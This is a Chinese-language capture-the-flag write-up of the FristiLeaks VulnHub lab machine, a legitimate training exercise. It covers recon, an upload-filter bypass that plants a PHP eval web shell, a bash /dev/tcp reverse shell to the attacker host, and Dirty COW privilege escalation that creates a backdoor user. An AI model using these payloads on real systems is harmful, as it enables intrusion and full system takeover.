FristiLeaks靶场打靶记录

一、靶机介绍

靶机下载地址：https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova

二、信息收集

扫描靶机ip

arp-scan -l

确认靶机ip为：192.168.5.132

扫描端口

nmap -p- -A 192.168.5.132

扫描目录

dirb http://192.168.5.132/

进入网站

打开robots.txt目录

发现三个目录/cola、/sisi、/beer

发现三个目录，貌似都是一张图片，没有太多信息，但从图片的提示说，这不是一个url连接，你还需要去寻找，或许在本页面就有提示

我们回到首页，仔细再找找，最终发现这个FRISTI是一个目录，进入http://192.168.5.132/fristi/

F12看看网页源代码

其中有个by eezeepz的可能是用户名

还有一句：

We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it

翻译过来就是：

我们对图像使用base64编码，因此它们在HTML中是内联的

大概意思是下面的这串绿绿的字是图片经过base64编码后的，试着还原一下，先把它base64解密

https://www.ddosi.org/code/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&ieol=CRLF&oeol=VT

解码后的数据可以看出是个png文件，点击将输出保存到文件，发现貌似是密码

回到登录页面登录

用户名：eezeepz
密码：keKkeKKeKKeKkEkkEk

登陆成功

发现文件上传点，尝试上传带有一句话木马的php文件发现失败，说是只允许上传png，jpg，gif格式的文件

看看Wappalyzer插件后发现是apache 2.2.15版本，那就结合apache 2.x版本的多后缀名解析漏洞绕过上传

三、Getshell

再次上传php文件同时bp开启拦截，文件内容为php探针（方便查看）和一句话木马

<?php phpinfo();@eval($_POST['cmd']);?>

在 filename 这里给文件名字加上 .png 的后缀绕过上传同时可以通过apache的解析漏洞解析为php

上传成功并且给出了上传的路径为 /uploads 文件夹下

那就直接访问一下，发现了我们的探针文件

直接蚁剑连接，密码cmd

连接成功后我们要尝试将控制权交给kali方便下一步提权

这里我们用反弹shell的方法

先在kali上起一个监听，端口为9999（也可以用其他的没有被占用的端口）

nc -lvvp 9999

然后打开蚁剑的虚拟终端，输入反弹shell并执行

sh -i >& /dev/tcp/192.168.5.32/9999 0>&1

连接成功，转为交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

四、权限提升

通过查看系统内核发现符合脏牛提权的要求

我们直接使用脏牛提权，该漏洞影响linux2.6.22 版本至 4.6 版本的所有 Linux 系统

Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit (exploit-db.com)

下载对应的exp

上传到tmp目录下

然后cd到/tmp目录对其进行编译

gcc -pthread 40839.c -o 40839 -lcrypt

cat /etc/passwd发现后门用户被创建

直接 su firefart 切换用户

提权成功！